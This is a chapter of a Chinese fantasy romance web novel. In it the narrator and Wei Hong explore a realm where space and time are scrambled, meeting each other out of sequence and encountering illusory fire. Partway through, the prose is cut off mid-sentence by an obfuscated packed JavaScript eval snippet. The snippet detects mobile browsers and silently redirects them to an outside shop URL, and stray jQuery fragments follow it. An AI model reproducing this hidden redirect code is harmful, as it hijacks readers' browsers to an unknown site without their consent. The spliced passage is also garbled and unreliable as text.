文趣网 > 都市小说 > 为了娶白月光我当上了家主 > 14. 第十四章 扑朔迷离
    如此“宝地”,舒修言究竟是怎么挖出来的?

    可惜舒家主他人不在这,没法答疑,当然,就算在,怕是也不会说,我们只好面面相觑,被这严峻的形势给头疼地一时半会说不出话。

    寻常秘境碰上一个都算难搞了,今儿个倒好,空间和时间都来,生怕给我们留活路。

    “这般状况,我也是头一回见。”卫泓苦笑一声,他的手不知何时松开了,在竹猗剑上轻敲,只是嘴上说的好似没办法,神态却并不焦急,还端着住姿态。

    我心一转,便知他所说的“这般状况”是指空间和时间同时失了常,那么……

    “如果只有空间错乱,或者时间不对,一般都是怎么处理的?”

    卫泓本就打算同我好生讲讲,见我比他料想的还要反应迅速,很是欣慰地一笑,“世间万物自有缘法,哪怕看似没什么干连,背后也是有其规律在的。”

    “就好比说空间,打散了也不是胡乱就能接上的,两道口如果对不上怎么办?错开的那部分拿什么填补?如果要让其中的人察觉不出自己换了个空间,又该怎么瞒过去?”

    卫泓毫不怜惜地摔了身上一块装饰用的玉,挑挑拣拣,拿了一块有纹路放在手心里,又从下面再挑了几块,依次拼合在一起。

    后来的几块有的对得上纹路,有的则是怎么看怎么别扭,哪怕线条合得上,也总是心里觉得不对。

    “一片空间就那么大,能拼在一起的节点不会太多,有时候觉得无穷无尽,不过是故意把所有地方都造得一样,令人分辨不出来。”卫泓拿着碎玉,打乱后拨了数十次,竟然就这样拼出了一角。

    ——切割空间也不是可以无限制地切割的,若是切得太零碎,很容易造成空间坍缩。

    “看,只要都走上几遍,找到正确的路是迟早的事。”卫泓颇有些遗憾,“可惜此地留不了痕迹,不然就可以节省大半时间。”

    歇了歇口舌,他又开始同我讲时间出了岔子该怎么处理。

    时间混乱更难理解一些。对于每个个体而言,自身的时间线必然是线性无法更改的,但不同个体之间的时间对照会发生扭曲。

    通俗些来说,拿我们当下的处境做例子,就是我、卫泓、这个空间,三者的时间本来是三条平行的线,但现在有东西强行干涉进来,把我们不同的时间点给打结在一起。

    此时此刻的状况就是在此地的某个时间点上,我自进来后的一刻钟这个节点和卫泓自进来后半个时辰的节点被一同绑在上面,所以我们才能在此地会面。

    “阿临,天地间没有绝对的死局,哪怕时间出了错漏,也必定会留有一个映射时间流逝的参照物,破解之法就在于此。”

    我算是听懂了,本来二者都不是什么天大的难题,可现在纠合在一起,难度不止是翻了个番。想要解决时间的问题,就得找到参照物,把混乱的空间尽可能都摸索一遍,可受同样混乱的时间影响,怎么把这个地方摸透又成了一个难题。

    偏偏屋漏遇上连夜雨,这个鬼地方甚至不讲武德地把灵力给封禁了,一身手段使不出来,只能无奈地碰运气。这地方要真有什么秘宝传承的话,总不能是看运势的吧?

    还是说有什么线索被我们忽略了?

    一路上有什么是不同寻常的?

    我的视线随着思考漫无目的地在这方不大的转角里游荡,最后停在一处稍显黯淡的痕迹上,眉心微蹙。

    ……这是?

    卫泓也一同看过去,他步履轻缓地走到石壁前,抬手靠近那片同旁边几乎没有差别的地方。

    这个高度,这个地方……

    “是灯台?”/“照明……?”

    我和他同时有了答案,被忽视的火星一闪而过,照出可能的线索。

    这里不会无缘无故地把曾经存在的事物给抹去,也许这就是我们需要找到的关键。

    而且,假如真是我所想的那种烧灯油的灯台,那么灯油本身的减少就是一个极适合的参照物。

    不,现在还不能确定,我们得先找到具体的东西才行。

    我和卫泓对视一眼,当即决定先离开此处,搜寻不知道存不存在的油灯的痕迹。

    刚迈出半步,卫泓一句“阿临”含了半晌,到底是没能说出口,只得亲身往前快走几步,伸手犹豫着碰到我的手背,又像是被吓了一跳,触电似的立即收了回去。

    “阿……阿临,”他眼睫乱颤,就是不敢看我,“分开走可能会遇上空间……乱……”

    我好笑地看着这位刚才还侃侃而谈的卫少主忽的成了半个结巴,话都说不拎清。哪怕心里知道他想说些什么,还是忍不住装作没听明白的样子,侧着头,疑惑地看着他那双眼睛。

    他像是被我的目光烫了一烫,越发说不出来话,最后带着薄红,摆出视死如归的架势,轻轻搭住我的一指。

    唉。我翻手将他的手紧握住,牵着那只轻颤的手往前走,“允和,这样才能拉紧。”

    卫泓的呼吸错了一拍,但是没有尝试挣脱,跟着我的步伐向前。

    或许是因为道破了此地的关窍,我在迈过那条空间的分界线时,似乎触到一层极薄的膜,只是彻底迈过去后,那种感觉顿时消失得无影无踪,甚至包括了我手里牵着的那点温度。

    我把空荡荡的手收了回来,上面仅存的温热触感在冰冷的空气中迅速消散,自从进到这个鬼地方后,我第一次开始有些讨厌这里。

    好了,现在又得自己面对这漆黑的甬道了。

    我长叹一声,认命地往前继续走,一边打量旁边的环境,一边仔细地把所有声音收入耳中。

    我还是坚持不可能会只凭运气来筛选人,既然灵气被封了,那就很有可能是在考验我们自身的感知,我很清楚自己的一大优势就在于听力上,说不准就能听见点端倪。

    一连穿过四五个空间,我迟疑地停下脚步,等等,我的脚步声似乎有变化?察觉到后,我又前行了很长一段路,逐渐肯定的确并非我的错觉。

    在某些空间里,我走上去产生的声音很清脆,但是变换后,脚步声极难察觉地变得沉闷了些。是环境变干燥,还是温度发生了变化?

    不管是那种情况,都说明此地在发生某种变化,这种变化或许现在细微,但积累下去,说不准就是一道死坎。真正的杀机居然还藏最深处,还真是让人完全想不到。

    这样想着,我往前迈出一步,这下我甚至不用猜测是什么情况了,滚烫的热浪扑面而来,到处都是火光,闪得我不由流出几滴泪,这才堪堪维持住了视线。

    原本暗无光线的通道被烈火烧得亮堂,气浪扭曲着视线,我只好摸索着向前走,小心翼翼地不被火光燎到。

    如此走出两三步,我突然瞥见一道极其熟悉的身影——不是卫泓,直到那人半个身子消失在拐角,我才忽然反应过来,那是我自己的背影。

    是未来的我?为何她会如此的步履匆匆?我来不及想更多了,急忙追过去,可惜这里本就时间和空间乱作一团,等我到了转角,那抹身影也彻底消失了,看不到丝毫踪迹。

    还未等我可惜,一道人影突兀地闯了过来,和我碰了头,我定眼一看,居然是卫泓,也不知是哪个时间段的,居然颇有几分狼狈,衣角还有被火燎过的痕迹。

    “阿临……?”卫泓一愣,焦灼的神情不由先缓下来,可等他仔细看了眼我后,眉目间又染上几许担忧之色,“阿临,这是你第几次见我?”

    他这么问,难道已经见过我许多次了?

    我心一沉,感觉似乎有些不大妙,但还是先老实地回答了他,“这是我第二次见到你。”

    “第二次……”他低声重复一遍,语速极快地同我交代到,“阿临,我不能直接告诉你未来会发生什么,只能提点几句,记住,不要再找灯了,这里是找不到的,参照物另有他物。”

    “还有,等你接下来再见到我的时候,告诉他,不要过于相信未来的我们,哪怕是未来,我们也有可能被误导着错判了什么。”

    卫泓眼里有些许疑色,似乎是刚经历过什么不可置信的事,“……哪怕是我刚才让你叮嘱的话,也不能全信。”

    说罢,他往后一退,竟是打算直接同我分开了。

    “等等,”我急忙喊住他,“这是你第几次见我了?”

    “第四次。”卫泓极轻地笑了一声,“阿临,我上一次见到你的时候,你是第五次遇到我。”

    说罢,他深深地看了我一眼,后退一步,整个人消失在空气中。

    他这么匆匆一来一去的,不仅没解了我心头的惑,反而让事情越发扑朔迷离起来。但我也知道,卫泓不是不想说,而是不能说,可能我目前听到的这三两句,已经是他斟酌后最能说的出口的了。

    此地的火烧得空气越发灼热,我渐渐有些受不住,可是这里同之前的空间都大不相似,若是错过了,怕是短时间内没这样好的机会了。

    我回身去看这段甬道,甬道本身并无变化,只是多了这些不知如何燃烧起来的火焰。试着伸手去接近,手指刚触及火光边缘,一种恐惧从心底油然而生,激得我下意识收回了手,惊疑不定地看着这些火。

    实在是太古怪了,一来此地根本就没有可以燃烧的事物,二来,若是普通的火焰,对我这种本身就是修炼以火属性为主的功法的人来说,不应当会造成伤害才对。

    我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788369|210262||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想起卫泓衣角上的痕迹,心念一动,把袖子撕了一小块,用手拿着靠近火焰,那一块布料在火焰中毫发无伤,就像那些火只是幻觉。

    既然如此,那卫泓身上的火烧痕迹是从哪里来的?还是说这里存在着两种不同的火?

    谜题在我心底堆积得越来越多,却没有能解释的线索出现。

    眼看着火越来越大,几乎要燎到我的头发,我只好先行离开,匆匆越过拐角,来到另一段空间中。新的空间依然是暗的,没有火,也没有任何动静。

    行走着的声音恢复成沉闷的响声,应当是在大火结束一段时间后。

    我细细地查看石壁,没有任何纹路,平滑得似乎是用刀劈开的。这里什么都没有,难道不应该好歹给几副壁画,好让我们至少能胡猜点来龙去脉吗?

    就只有一场大火的话,谁能猜出来究竟是怎么一回事?

    总不能是我运气差到一点关键信息都撞不见吧?

    我实在是一头雾水,一路走一路看,什么也没发现,甚至没能重新遇上那些火,平淡地走了大半个时辰,才终于在跨进某一片区域后,再度遇见了卫泓。

    卫泓似乎早就知道我会在此时出现,没有回头,只是看着眼前那扇门,指尖攥得发白,似乎在做一个艰难的决定。

    “……允和?”

    他被我的呼唤拉回所有思绪,低叹一声,缓缓转过身来,嘴角挂着苦笑,“阿临。”

    之前卫泓同我聊起该如何破解时空错乱的问题时,眼睛熠熠生辉;等我第二次见他,这人就已经有些疑虑了。

    但我还真没想到,这次再见,卫泓眼里的光会被忧愁压住,就好似已经心知肚明,这是一场无解的死局一般。

    “允和,”我定定地看着他,“这是你第几次见我了?”

    卫泓张口,吐出一个我并不意外的数字,“第六次。”

    他侧眼去看那扇门,眼睫半垂着,遮住了眼里的流光,“……大概也是最后一次了。”

    我心里一紧,忙上前拉住他,“允和,什么……”

    ——什么叫“最后一次”?是我想的那个意思吗?

    卫泓忽然“扑哧”一声笑了出来,转眼看我,“你想到哪里去了?我是说在这里的最后一次见面。阿临,我之前见你的五次里,你说的最多的一回便是第六次见我。”

    假如还有第七次乃至更多次数的话,在前六次中不出现后面的会面的概率实在是太小了,还是只有六次这个解释更为合理些。

    我听懂了他话语间的意思,心下稍安,就着牵着他的姿势上前,同他并肩看着那扇门。

    这是一扇相当华丽的门,门框和门上覆着繁复晦涩的花纹,很有上古之时的韵味,光是看着,都仿佛有一股久远的气息在此处盘旋。

    这还是我第一次在这里看到除了通道以外的事物,不由好奇多看了几眼,伸手想推开看看门后到底是怎么样一番光景。

    卫泓止住了我的动作,“阿临,这扇门应当由我来开。”

    除此之外,他什么都没说,只是动作轻柔地从我手中挣开,将我往外推了一步。

    我顺着他的意后退,蹙着眉发问,“这是为何?”

    “……阿临,我不能说。时间错乱并不代表能用来作弊,你现在不该知道的,我是无法说出口的。”卫泓背对着我,一只手放在了门上,“我只能说几句话,或许能帮你理出一个头绪。”

    一股微风掀了起来,将我往通道的尽头推去。卫泓恢复灵力了?我知道他这么做必然有他的道理,没有试图反抗,只是静静地看着他。

    “第一,空间被打乱或许并不是为了增加难度,而是想要在合适的时间将我们推到某个境地;”

    “第二,”他一边将那扇门推开一条缝,一边侧着脸看我,“阿临,‘灯’确实是关键,只是……并不是我们一开始所以为的那个关键。”

    门里泄出的光在黑暗中分外显眼,他的面容被衬得模糊起来,看不清神情。

    “第三,那场火,到底是未来,还是过去?”

    什么?不是未……等等,我这才意识到自己先入为主,自以为危机会在未来出现,所以下意识把那场火当成了未来。

    难道是过去吗?

    卫泓的声音含着笑,“阿临,最后一点,不要被‘我’的话所影响,无论是哪个‘我’,你要自己找到隐藏在一切背后的真相。”

    这句话尾音还在通道里回荡,我却已经被那阵风推到空间边缘,只见他面前的那扇门终于彻底打开,刺目的白光却照得里面什么都看不出来。

    他的身影完全被白光吞没时,我也彻底离开了这个空间,来到另一方地方。